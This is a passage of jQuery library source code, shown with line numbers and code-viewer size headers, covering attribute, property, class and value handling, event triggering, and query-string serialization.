7478 // An input loses its value after becoming a radio 7479 input = document.createElement( "input" ); 7480 input.value = "t"; 7481 input.type = "radio"; 7482 support.radioValue = input.value === "t"; 7483} )(); 7484 7485 7486var boolHook, 7487 attrHandle = jQuery.expr.attrHandle; 7488 7489jQuery.fn.extend( { 7490 attr: function( name, value ) { 7491 return access( this, jQuery.attr, name, value, arguments.length > 1 ); 7492 }, 7493 7494 removeAttr: function( name ) { 7495 return this.each( function() { 7496 jQuery.removeAttr( this, name ); 7497 } ); 7498 } 7499} ); 7500 7501jQuery.extend( { 7502 attr: function( elem, name, value ) { 7503 var ret, hooks, 7504 nType = elem.nodeType; 7505 7506 // Don't get/set attributes on text, comment and attribute nodes 7507 if ( nType === 3 || nType === 8 || nType === 2 ) { 7508 return; 7509 } 7510 7511 // Fallback to prop when attributes are not supported 7512 if ( typeof elem.getAttribute === "undefined" ) { 7513 return jQuery.prop( elem, name, value ); 7514 } 7515 7516 // Attribute hooks are determined by the lowercase version 7517 // Grab necessary hook if one is defined 7518 if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { 7519 hooks = jQuery.attrHooks[ name.toLowerCase() ] || 7520 ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); 7521 } 7522 7523 if ( value !== undefined ) { 7524 if ( value === null ) { 7525 jQuery.removeAttr( elem, name ); 7526 return; 7527 } 7528 7529 if ( hooks && "set" in hooks && 7530 ( ret = hooks.set( elem, value, name ) ) !== undefined ) { 7531 return ret; 7532 } 7533 7534 elem.setAttribute( name, value + "" ); 7535 return value; 7536 } 7537 7538 if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { 7539 return ret; 7540 } 7541 7542 ret = jQuery.find.attr( elem, name ); 7543 7544 // Non-existent attributes return null, we normalize to undefined 7545 return ret == null ? undefined : ret; 7546 }, 7547 7548 attrHooks: { 7549 type: { 7550 set: function( elem, value ) { 7551 if ( !support.radioValue && value === "radio" && 7552 nodeName( elem, "input" ) ) { 7553 var val = elem.value; 7554 elem.setAttribute( "type", value ); 7555 if ( val ) { 7556 elem.value = val; 7557 } 7558 return value; 7559 } 7560 } 7561 } 7562 }, 7563 7564 removeAttr: function( elem, value ) { 7565 var name, 7566 i = 0, 7567 7568 // Attribute names can contain non-HTML whitespace characters 7569 // https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 7570 attrNames = value && value.match( rnothtmlwhite ); 7571 7572 if ( attrNames && elem.nodeType === 1 ) { 7573 while ( ( name = attrNames[ i++ ] ) ) { 7574 elem.removeAttribute( name ); 7575 } 7576 } 7577 } 7578} ); 7579 7580// Hooks for boolean attributes 7581boolHook = { 7582 set: function( elem, value, name ) { 7583 if ( value === false ) { 7584 7585 // Remove boolean attributes when set to false 7586 jQuery.removeAttr( elem, name ); 7587 } else { 7588 elem.setAttribute( name, name ); 7589 } 7590 return name; 7591 } 7592}; 7593 7594jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) { 7595 var getter = attrHandle[ name ] || jQuery.find.attr; 7596 7597 attrHandle[ name ] = function( elem, name, isXML ) { 7598 var ret, handle, 7599 lowercaseName = name.toLowerCase(); 7600 7601 if ( !isXML ) { 7602 7603 // Avoid an infinite loop by temporarily removing this function from the getter 7604 handle = attrHandle[ lowercaseName ]; 7605 attrHandle[ lowercaseName ] = ret; 7606 ret = getter( elem, name, isXML ) != null ? 7607 lowercaseName : 7608 null; 7609 attrHandle[ lowercaseName ] = handle; 7610 } 7611 return ret; 7612 }; 7613} ); 7614 7615 7616 7617 7618var rfocusable = /^(?:input|select|textarea|button)$/i, 7619 rclickable = /^(?:a|area)$/i; 7620 7621jQuery.fn.extend( { 7622 prop: function( name, value ) { 7623 return access( this, jQuery.prop, name, value, arguments.length > 1 ); 7624 }, 7625 7626 removeProp: function( name ) { 7627 return this.each( function() { 7628 delete this[ jQuery.propFix[ name ] || name ]; 7629 } ); 7630 } 7631} ); 7632 7633jQuery.extend( { 7634 prop: function( elem, name, value ) { 7635 var ret, hooks, 7636 nType = elem.nodeType; 7637 7638 // Don't get/set properties on text, comment and attribute nodes 7639 if ( nType === 3 || nType === 8 || nType === 2 ) { 7640 return; 7641 } 7642 7643 if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { 7644 7645 // Fix name and attach hooks 7646 name = jQuery.propFix[ name ] || name; 7647 hooks = jQuery.propHooks[ name ]; 7648 } 7649 7650 if ( value !== undefined ) { 7651 if ( hooks && "set" in hooks && 7652 ( ret = hooks.set( elem, value, name ) ) !== undefined ) { 7653 return ret; 7654 } 7655 7656 return ( elem[ name ] = value ); 7657 } 7658 7659 if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { 7660 return ret; 7661 } 7662 7663 return elem[ name ]; 7664 }, 7665 7666 propHooks: { 7667 tabIndex: { 7668 get: function( elem ) { 7669 7670 // Support: IE <=9 - 11 only 7671 // elem.tabIndex doesn't always return the 7672 // correct value when it hasn't been explicitly set 7673 // https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ 7674 // Use proper attribute retrieval(#12072) 7675 var tabindex = jQuery.find.attr( elem, "tabindex" ); 7676 7677 if ( tabindex ) { 7678 return parseInt( tabindex, 10 ); 7679 } 7680 7681 if ( 7682 rfocusable.test( elem.nodeName ) || 7683 rclickable.test( elem.nodeName ) && 7684 elem.href 7685 ) { 7686 return 0; 7687 } 7688 7689 return -1; 7690 } 7691 } 7692 }, 7693 7694 propFix: { 7695 "for": "htmlFor", 7696 "class": "className" 7697 } 7698} ); 7699 7700// Support: IE <=11 only 7701// Accessing the selectedIndex property 7702// forces the browser to respect setting selected 7703// on the option 7704// The getter ensures a default option is selected 7705// when in an optgroup 7706// eslint rule "no-unused-expressions" is disabled for this code 7707// since it considers such accessions noop 7708if ( !support.optSelected ) { 7709 jQuery.propHooks.selected = { 7710 get: function( elem ) { 7711 7712 /* eslint no-unused-expressions: "off" */ 7713 7714 var parent = elem.parentNode; 7715 if ( parent && parent.parentNode ) { 7716 parent.parentNode.selectedIndex; 7717 } 7718 return null; 7719 }, 7720 set: function( elem ) { 7721 7722 /* eslint no-unused-expressions: "off" */ 7723 7724 var parent = elem.parentNode; 7725 if ( parent ) { 7726 parent.selectedIndex; 7727 7728 if ( parent.parentNode ) { 7729 parent.parentNode.selectedIndex; 7730 } 7731 } 7732 } 7733 }; 7734} 7735 7736jQuery.each( [ 7737 "tabIndex", 7738 "readOnly", 7739 "maxLength", 7740 "cellSpacing", 7741 "cellPadding", 7742 "rowSpan", 7743 "colSpan", 7744 "useMap", 7745 "frameBorder", 7746 "contentEditable" 7747], function() { 7748 jQuery.propFix[ this.toLowerCase() ] = this; 7749} ); 7750 7751 7752 7753 7754 // Strip and collapse whitespace according to HTML spec 7755 // https://
vendor: 4,260 bytes, lines 7755-7921
7755html.spec.whatwg.org/multipage/infrastructure.html#strip-and-collapse-whitespace 7756 function stripAndCollapse( value ) { 7757 var tokens = value.match( rnothtmlwhite ) || []; 7758 return tokens.join( " " ); 7759 } 7760 7761 7762function getClass( elem ) { 7763 return elem.getAttribute && elem.getAttribute( "class" ) || ""; 7764} 7765 7766jQuery.fn.extend( { 7767 addClass: function( value ) { 7768 var classes, elem, cur, curValue, clazz, j, finalValue, 7769 i = 0; 7770 7771 if ( jQuery.isFunction( value ) ) { 7772 return this.each( function( j ) { 7773 jQuery( this ).addClass( value.call( this, j, getClass( this ) ) ); 7774 } ); 7775 } 7776 7777 if ( typeof value === "string" && value ) { 7778 classes = value.match( rnothtmlwhite ) || []; 7779 7780 while ( ( elem = this[ i++ ] ) ) { 7781 curValue = getClass( elem ); 7782 cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); 7783 7784 if ( cur ) { 7785 j = 0; 7786 while ( ( clazz = classes[ j++ ] ) ) { 7787 if ( cur.indexOf( " " + clazz + " " ) < 0 ) { 7788 cur += clazz + " "; 7789 } 7790 } 7791 7792 // Only assign if different to avoid unneeded rendering. 7793 finalValue = stripAndCollapse( cur ); 7794 if ( curValue !== finalValue ) { 7795 elem.setAttribute( "class", finalValue ); 7796 } 7797 } 7798 } 7799 } 7800 7801 return this; 7802 }, 7803 7804 removeClass: function( value ) { 7805 var classes, elem, cur, curValue, clazz, j, finalValue, 7806 i = 0; 7807 7808 if ( jQuery.isFunction( value ) ) { 7809 return this.each( function( j ) { 7810 jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) ); 7811 } ); 7812 } 7813 7814 if ( !arguments.length ) { 7815 return this.attr( "class", "" ); 7816 } 7817 7818 if ( typeof value === "string" && value ) { 7819 classes = value.match( rnothtmlwhite ) || []; 7820 7821 while ( ( elem = this[ i++ ] ) ) { 7822 curValue = getClass( elem ); 7823 7824 // This expression is here for better compressibility (see addClass) 7825 cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); 7826 7827 if ( cur ) { 7828 j = 0; 7829 while ( ( clazz = classes[ j++ ] ) ) { 7830 7831 // Remove *all* instances 7832 while ( cur.indexOf( " " + clazz + " " ) > -1 ) { 7833 cur = cur.replace( " " + clazz + " ", " " ); 7834 } 7835 } 7836 7837 // Only assign if different to avoid unneeded rendering. 7838 finalValue = stripAndCollapse( cur ); 7839 if ( curValue !== finalValue ) { 7840 elem.setAttribute( "class", finalValue ); 7841 } 7842 } 7843 } 7844 } 7845 7846 return this; 7847 }, 7848 7849 toggleClass: function( value, stateVal ) { 7850 var type = typeof value; 7851 7852 if ( typeof stateVal === "boolean" && type === "string" ) { 7853 return stateVal ? this.addClass( value ) : this.removeClass( value ); 7854 } 7855 7856 if ( jQuery.isFunction( value ) ) { 7857 return this.each( function( i ) { 7858 jQuery( this ).toggleClass( 7859 value.call( this, i, getClass( this ), stateVal ), 7860 stateVal 7861 ); 7862 } ); 7863 } 7864 7865 return this.each( function() { 7866 var className, i, self, classNames; 7867 7868 if ( type === "string" ) { 7869 7870 // Toggle individual class names 7871 i = 0; 7872 self = jQuery( this ); 7873 classNames = value.match( rnothtmlwhite ) || []; 7874 7875 while ( ( className = classNames[ i++ ] ) ) { 7876 7877 // Check each className given, space separated list 7878 if ( self.hasClass( className ) ) { 7879 self.removeClass( className ); 7880 } else { 7881 self.addClass( className ); 7882 } 7883 } 7884 7885 // Toggle whole class name 7886 } else if ( value === undefined || type === "boolean" ) { 7887 className = getClass( this ); 7888 if ( className ) { 7889 7890 // Store className if set 7891 dataPriv.set( this, "__className__", className ); 7892 } 7893 7894 // If the element has a class name or if we're passed `false`, 7895 // then remove the whole classname (if there was one, the above saved it). 7896 // Otherwise bring back whatever was previously saved (if anything), 7897 // falling back to the empty string if nothing was stored. 7898 if ( this.setAttribute ) { 7899 this.setAttribute( "class", 7900 className || value === false ? 7901 "" : 7902 dataPriv.get( this, "__className__" ) || "" 7903 ); 7904 } 7905 } 7906 } ); 7907 }, 7908 7909 hasClass: function( selector ) { 7910 var className, elem, 7911 i = 0; 7912 7913 className = " " + selector + " "; 7914 while ( ( elem = this[ i++ ] ) ) { 7915 if ( elem.nodeType === 1 && 7916 ( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) { 7917 return true; 7918 } 7919 } 7920 7921 return false;
vendor: 1,377 bytes, lines 7922-7991
7922 } 7923} ); 7924 7925 7926 7927 7928var rreturn = /\r/g; 7929 7930jQuery.fn.extend( { 7931 val: function( value ) { 7932 var hooks, ret, isFunction, 7933 elem = this[ 0 ]; 7934 7935 if ( !arguments.length ) { 7936 if ( elem ) { 7937 hooks = jQuery.valHooks[ elem.type ] || 7938 jQuery.valHooks[ elem.nodeName.toLowerCase() ]; 7939 7940 if ( hooks && 7941 "get" in hooks && 7942 ( ret = hooks.get( elem, "value" ) ) !== undefined 7943 ) { 7944 return ret; 7945 } 7946 7947 ret = elem.value; 7948 7949 // Handle most common string cases 7950 if ( typeof ret === "string" ) { 7951 return ret.replace( rreturn, "" ); 7952 } 7953 7954 // Handle cases where value is null/undef or number 7955 return ret == null ? "" : ret; 7956 } 7957 7958 return; 7959 } 7960 7961 isFunction = jQuery.isFunction( value ); 7962 7963 return this.each( function( i ) { 7964 var val; 7965 7966 if ( this.nodeType !== 1 ) { 7967 return; 7968 } 7969 7970 if ( isFunction ) { 7971 val = value.call( this, i, jQuery( this ).val() ); 7972 } else { 7973 val = value; 7974 } 7975 7976 // Treat null/undefined as ""; convert numbers to string 7977 if ( val == null ) { 7978 val = ""; 7979 7980 } else if ( typeof val === "number" ) { 7981 val += ""; 7982 7983 } else if ( Array.isArray( val ) ) { 7984 val = jQuery.map( val, function( value ) { 7985 return value == null ? "" : value + ""; 7986 } ); 7987 } 7988 7989 hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; 7990 7991 // If set returns undefined, fall back to normal setting
vendor: 8,160 bytes, lines 7992-8310
7992 if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) { 7993 this.value = val; 7994 } 7995 } ); 7996 } 7997} ); 7998 7999jQuery.extend( { 8000 valHooks: { 8001 option: { 8002 get: function( elem ) { 8003 8004 var val = jQuery.find.attr( elem, "value" ); 8005 return val != null ? 8006 val : 8007 8008 // Support: IE <=10 - 11 only 8009 // option.text throws exceptions (#14686, #14858) 8010 // Strip and collapse whitespace 8011 // https://html.spec.whatwg.org/#strip-and-collapse-whitespace 8012 stripAndCollapse( jQuery.text( elem ) ); 8013 } 8014 }, 8015 select: { 8016 get: function( elem ) { 8017 var value, option, i, 8018 options = elem.options, 8019 index = elem.selectedIndex, 8020 one = elem.type === "select-one", 8021 values = one ? null : [], 8022 max = one ? index + 1 : options.length; 8023 8024 if ( index < 0 ) { 8025 i = max; 8026 8027 } else { 8028 i = one ? index : 0; 8029 } 8030 8031 // Loop through all the selected options 8032 for ( ; i < max; i++ ) { 8033 option = options[ i ]; 8034 8035 // Support: IE <=9 only 8036 // IE8-9 doesn't update selected after form reset (#2551) 8037 if ( ( option.selected || i === index ) && 8038 8039 // Don't return options that are disabled or in a disabled optgroup 8040 !option.disabled && 8041 ( !option.parentNode.disabled || 8042 !nodeName( option.parentNode, "optgroup" ) ) ) { 8043 8044 // Get the specific value for the option 8045 value = jQuery( option ).val(); 8046 8047 // We don't need an array for one selects 8048 if ( one ) { 8049 return value; 8050 } 8051 8052 // Multi-Selects return an array 8053 values.push( value ); 8054 } 8055 } 8056 8057 return values; 8058 }, 8059 8060 set: function( elem, value ) { 8061 var optionSet, option, 8062 options = elem.options, 8063 values = jQuery.makeArray( value ), 8064 i = options.length; 8065 8066 while ( i-- ) { 8067 option = options[ i ]; 8068 8069 /* eslint-disable no-cond-assign */ 8070 8071 if ( option.selected = 8072 jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 8073 ) { 8074 optionSet = true; 8075 } 8076 8077 /* eslint-enable no-cond-assign */ 8078 } 8079 8080 // Force browsers to behave consistently when non-matching value is set 8081 if ( !optionSet ) { 8082 elem.selectedIndex = -1; 8083 } 8084 return values; 8085 } 8086 } 8087 } 8088} ); 8089 8090// Radios and checkboxes getter/setter 8091jQuery.each( [ "radio", "checkbox" ], function() { 8092 jQuery.valHooks[ this ] = { 8093 set: function( elem, value ) { 8094 if ( Array.isArray( value ) ) { 8095 return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 ); 8096 } 8097 } 8098 }; 8099 if ( !support.checkOn ) { 8100 jQuery.valHooks[ this ].get = function( elem ) { 8101 return elem.getAttribute( "value" ) === null ? "on" : elem.value; 8102 }; 8103 } 8104} ); 8105 8106 8107 8108 8109// Return jQuery for attributes-only inclusion 8110 8111 8112var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/; 8113 8114jQuery.extend( jQuery.event, { 8115 8116 trigger: function( event, data, elem, onlyHandlers ) { 8117 8118 var i, cur, tmp, bubbleType, ontype, handle, special, 8119 eventPath = [ elem || document ], 8120 type = hasOwn.call( event, "type" ) ? event.type : event, 8121 namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : []; 8122 8123 cur = tmp = elem = elem || document; 8124 8125 // Don't do events on text and comment nodes 8126 if ( elem.nodeType === 3 || elem.nodeType === 8 ) { 8127 return; 8128 } 8129 8130 // focus/blur morphs to focusin/out; ensure we're not firing them right now 8131 if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { 8132 return; 8133 } 8134 8135 if ( type.indexOf( "." ) > -1 ) { 8136 8137 // Namespaced trigger; create a regexp to match event type in handle() 8138 namespaces = type.split( "." ); 8139 type = namespaces.shift(); 8140 namespaces.sort(); 8141 } 8142 ontype = type.indexOf( ":" ) < 0 && "on" + type; 8143 8144 // Caller can pass in a jQuery.Event object, Object, or just an event type string 8145 event = event[ jQuery.expando ] ? 8146 event : 8147 new jQuery.Event( type, typeof event === "object" && event ); 8148 8149 // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) 8150 event.isTrigger = onlyHandlers ? 2 : 3; 8151 event.namespace = namespaces.join( "." ); 8152 event.rnamespace = event.namespace ? 8153 new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) : 8154 null; 8155 8156 // Clean up the event in case it is being reused 8157 event.result = undefined; 8158 if ( !event.target ) { 8159 event.target = elem; 8160 } 8161 8162 // Clone any incoming data and prepend the event, creating the handler arg list 8163 data = data == null ? 8164 [ event ] : 8165 jQuery.makeArray( data, [ event ] ); 8166 8167 // Allow special events to draw outside the lines 8168 special = jQuery.event.special[ type ] || {}; 8169 if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { 8170 return; 8171 } 8172 8173 // Determine event propagation path in advance, per W3C events spec (#9951) 8174 // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) 8175 if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { 8176 8177 bubbleType = special.delegateType || type; 8178 if ( !rfocusMorph.test( bubbleType + type ) ) { 8179 cur = cur.parentNode; 8180 } 8181 for ( ; cur; cur = cur.parentNode ) { 8182 eventPath.push( cur ); 8183 tmp = cur; 8184 } 8185 8186 // Only add window if we got to document (e.g., not plain obj or detached DOM) 8187 if ( tmp === ( elem.ownerDocument || document ) ) { 8188 eventPath.push( tmp.defaultView || tmp.parentWindow || window ); 8189 } 8190 } 8191 8192 // Fire handlers on the event path 8193 i = 0; 8194 while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) { 8195 8196 event.type = i > 1 ? 8197 bubbleType : 8198 special.bindType || type; 8199 8200 // jQuery handler 8201 handle = ( dataPriv.get( cur, "events" ) || {} )[ event.type ] && 8202 dataPriv.get( cur, "handle" ); 8203 if ( handle ) { 8204 handle.apply( cur, data ); 8205 } 8206 8207 // Native handler 8208 handle = ontype && cur[ ontype ]; 8209 if ( handle && handle.apply && acceptData( cur ) ) { 8210 event.result = handle.apply( cur, data ); 8211 if ( event.result === false ) { 8212 event.preventDefault(); 8213 } 8214 } 8215 } 8216 event.type = type; 8217 8218 // If nobody prevented the default action, do it now 8219 if ( !onlyHandlers && !event.isDefaultPrevented() ) { 8220 8221 if ( ( !special._default || 8222 special._default.apply( eventPath.pop(), data ) === false ) && 8223 acceptData( elem ) ) { 8224 8225 // Call a native DOM method on the target with the same name as the event. 8226 // Don't do default actions on window, that's where global variables be (#6170) 8227 if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) { 8228 8229 // Don't re-trigger an onFOO event when we call its FOO() method 8230 tmp = elem[ ontype ]; 8231 8232 if ( tmp ) { 8233 elem[ ontype ] = null; 8234 } 8235 8236 // Prevent re-triggering of the same event, since we already bubbled it above 8237 jQuery.event.triggered = type; 8238 elem[ type ](); 8239 jQuery.event.triggered = undefined; 8240 8241 if ( tmp ) { 8242 elem[ ontype ] = tmp; 8243 } 8244 } 8245 } 8246 } 8247 8248 return event.result; 8249 }, 8250 8251 // Piggyback on a donor event to simulate a different one 8252 // Used only for `focus(in | out)` events 8253 simulate: function( type, elem, event ) { 8254 var e = jQuery.extend( 8255 new jQuery.Event(), 8256 event, 8257 { 8258 type: type, 8259 isSimulated: true 8260 } 8261 ); 8262 8263 jQuery.event.trigger( e, null, elem ); 8264 } 8265 8266} ); 8267 8268jQuery.fn.extend( { 8269 8270 trigger: function( type, data ) { 8271 return this.each( function() { 8272 jQuery.event.trigger( type, data, this ); 8273 } ); 8274 }, 8275 triggerHandler: function( type, data ) { 8276 var elem = this[ 0 ]; 8277 if ( elem ) { 8278 return jQuery.event.trigger( type, data, elem, true ); 8279 } 8280 } 8281} ); 8282 8283 8284jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " + 8285 "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + 8286 "change select submit keydown keypress keyup contextmenu" ).split( " " ), 8287 function( i, name ) { 8288 8289 // Handle event binding 8290 jQuery.fn[ name ] = function( data, fn ) { 8291 return arguments.length > 0 ? 8292 this.on( name, null, data, fn ) : 8293 this.trigger( name ); 8294 }; 8295} ); 8296 8297jQuery.fn.extend( { 8298 hover: function( fnOver, fnOut ) { 8299 return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); 8300 } 8301} ); 8302 8303 8304 8305 8306support.focusin = "onfocusin" in window; 8307 8308 8309// Support: Firefox <=44 8310// Firefox doesn't have focus(in | out) events
vendor: 4,174 bytes, lines 8311-8474
8311// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787 8312// 8313// Support: Chrome <=48 - 49, Safari <=9.0 - 9.1 8314// focus(in | out) events fire after focus & blur events, 8315// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order 8316// Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857 8317if ( !support.focusin ) { 8318 jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) { 8319 8320 // Attach a single capturing handler on the document while someone wants focusin/focusout 8321 var handler = function( event ) { 8322 jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) ); 8323 }; 8324 8325 jQuery.event.special[ fix ] = { 8326 setup: function() { 8327 var doc = this.ownerDocument || this, 8328 attaches = dataPriv.access( doc, fix ); 8329 8330 if ( !attaches ) { 8331 doc.addEventListener( orig, handler, true ); 8332 } 8333 dataPriv.access( doc, fix, ( attaches || 0 ) + 1 ); 8334 }, 8335 teardown: function() { 8336 var doc = this.ownerDocument || this, 8337 attaches = dataPriv.access( doc, fix ) - 1; 8338 8339 if ( !attaches ) { 8340 doc.removeEventListener( orig, handler, true ); 8341 dataPriv.remove( doc, fix ); 8342 8343 } else { 8344 dataPriv.access( doc, fix, attaches ); 8345 } 8346 } 8347 }; 8348 } ); 8349} 8350var location = window.location; 8351 8352var nonce = jQuery.now(); 8353 8354var rquery = ( /\?/ ); 8355 8356 8357 8358// Cross-browser xml parsing 8359jQuery.parseXML = function( data ) { 8360 var xml; 8361 if ( !data || typeof data !== "string" ) { 8362 return null; 8363 } 8364 8365 // Support: IE 9 - 11 only 8366 // IE throws on parseFromString with invalid input. 8367 try { 8368 xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" ); 8369 } catch ( e ) { 8370 xml = undefined; 8371 } 8372 8373 if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) { 8374 jQuery.error( "Invalid XML: " + data ); 8375 } 8376 return xml; 8377}; 8378 8379 8380var 8381 rbracket = /\[\]$/, 8382 rCRLF = /\r?\n/g, 8383 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, 8384 rsubmittable = /^(?:input|select|textarea|keygen)/i; 8385 8386function buildParams( prefix, obj, traditional, add ) { 8387 var name; 8388 8389 if ( Array.isArray( obj ) ) { 8390 8391 // Serialize array item. 8392 jQuery.each( obj, function( i, v ) { 8393 if ( traditional || rbracket.test( prefix ) ) { 8394 8395 // Treat each array item as a scalar. 8396 add( prefix, v ); 8397 8398 } else { 8399 8400 // Item is non-scalar (array or object), encode its numeric index. 8401 buildParams( 8402 prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]", 8403 v, 8404 traditional, 8405 add 8406 ); 8407 } 8408 } ); 8409 8410 } else if ( !traditional && jQuery.type( obj ) === "object" ) { 8411 8412 // Serialize object item. 8413 for ( name in obj ) { 8414 buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); 8415 } 8416 8417 } else { 8418 8419 // Serialize scalar item. 8420 add( prefix, obj ); 8421 } 8422} 8423 8424// Serialize an array of form elements or a set of 8425// key/values into a query string 8426jQuery.param = function( a, traditional ) { 8427 var prefix, 8428 s = [], 8429 add = function( key, valueOrFunction ) { 8430 8431 // If value is a function, invoke it and use its return value 8432 var value = jQuery.isFunction( valueOrFunction ) ? 8433 valueOrFunction() : 8434 valueOrFunction; 8435 8436 s[ s.length ] = encodeURIComponent( key ) + "=" + 8437 encodeURIComponent( value == null ? "" : value ); 8438 }; 8439 8440 // If an array was passed in, assume that it is an array of form elements. 8441 if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { 8442 8443 // Serialize the form elements 8444 jQuery.each( a, function() { 8445 add( this.name, this.value ); 8446 } ); 8447 8448 } else { 8449 8450 // If traditional, encode the "old" way (the way 1.3.2 or older 8451 // did it), otherwise encode params recursively. 8452 for ( prefix in a ) { 8453 buildParams( prefix, a[ prefix ], traditional, add ); 8454 } 8455 } 8456 8457 // Return the resulting serialization 8458 return s.join( "&" ); 8459}; 8460 8461jQuery.fn.extend( { 8462 serialize: function() { 8463 return jQuery.param( this.serializeArray() ); 8464 }, 8465 serializeArray: function() { 8466 return this.map( function() { 8467 8468 // Can add propHook for "elements" to filter or add form elements 8469 var elements = jQuery.prop( this, "elements" ); 8470 return elements ? jQuery.makeArray( elements ) : this; 8471 } ) 8472 .filter( function() { 8473 var type = this.type; 8474
vendor: 4,939 bytes, lines 8475-8647
8475 // Use .is( ":disabled" ) so that fieldset[disabled] works 8476 return this.name && !jQuery( this ).is( ":disabled" ) && 8477 rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && 8478 ( this.checked || !rcheckableType.test( type ) ); 8479 } ) 8480 .map( function( i, elem ) { 8481 var val = jQuery( this ).val(); 8482 8483 if ( val == null ) { 8484 return null; 8485 } 8486 8487 if ( Array.isArray( val ) ) { 8488 return jQuery.map( val, function( val ) { 8489 return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; 8490 } ); 8491 } 8492 8493 return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; 8494 } ).get(); 8495 } 8496} ); 8497 8498 8499var 8500 r20 = /%20/g, 8501 rhash = /#.*$/, 8502 rantiCache = /([?&])_=[^&]*/, 8503 rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, 8504 8505 // #7653, #8125, #8152: local protocol detection 8506 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, 8507 rnoContent = /^(?:GET|HEAD)$/, 8508 rprotocol = /^\/\//, 8509 8510 /* Prefilters 8511 * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) 8512 * 2) These are called: 8513 * - BEFORE asking for a transport 8514 * - AFTER param serialization (s.data is a string if s.processData is true) 8515 * 3) key is the dataType 8516 * 4) the catchall symbol "*" can be used 8517 * 5) execution will start with transport dataType and THEN continue down to "*" if needed 8518 */ 8519 prefilters = {}, 8520 8521 /* Transports bindings 8522 * 1) key is the dataType 8523 * 2) the catchall symbol "*" can be used 8524 * 3) selection will start with transport dataType and THEN go to "*" if needed 8525 */ 8526 transports = {}, 8527 8528 // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression 8529 allTypes = "*/".concat( "*" ), 8530 8531 // Anchor tag for parsing the document origin 8532 originAnchor = document.createElement( "a" ); 8533 originAnchor.href = location.href; 8534 8535// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport 8536function addToPrefiltersOrTransports( structure ) { 8537 8538 // dataTypeExpression is optional and defaults to "*" 8539 return function( dataTypeExpression, func ) { 8540 8541 if ( typeof dataTypeExpression !== "string" ) { 8542 func = dataTypeExpression; 8543 dataTypeExpression = "*"; 8544 } 8545 8546 var dataType, 8547 i = 0, 8548 dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || []; 8549 8550 if ( jQuery.isFunction( func ) ) { 8551 8552 // For each dataType in the dataTypeExpression 8553 while ( ( dataType = dataTypes[ i++ ] ) ) { 8554 8555 // Prepend if requested 8556 if ( dataType[ 0 ] === "+" ) { 8557 dataType = dataType.slice( 1 ) || "*"; 8558 ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func ); 8559 8560 // Otherwise append 8561 } else { 8562 ( structure[ dataType ] = structure[ dataType ] || [] ).push( func ); 8563 } 8564 } 8565 } 8566 }; 8567} 8568 8569// Base inspection function for prefilters and transports 8570function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { 8571 8572 var inspected = {}, 8573 seekingTransport = ( structure === transports ); 8574 8575 function inspect( dataType ) { 8576 var selected; 8577 inspected[ dataType ] = true; 8578 jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { 8579 var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); 8580 if ( typeof dataTypeOrTransport === "string" && 8581 !seekingTransport && !inspected[ dataTypeOrTransport ] ) { 8582 8583 options.dataTypes.unshift( dataTypeOrTransport ); 8584 inspect( dataTypeOrTransport ); 8585 return false; 8586 } else if ( seekingTransport ) { 8587 return !( selected = dataTypeOrTransport ); 8588 } 8589 } ); 8590 return selected; 8591 } 8592 8593 return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); 8594} 8595 8596// A special extend 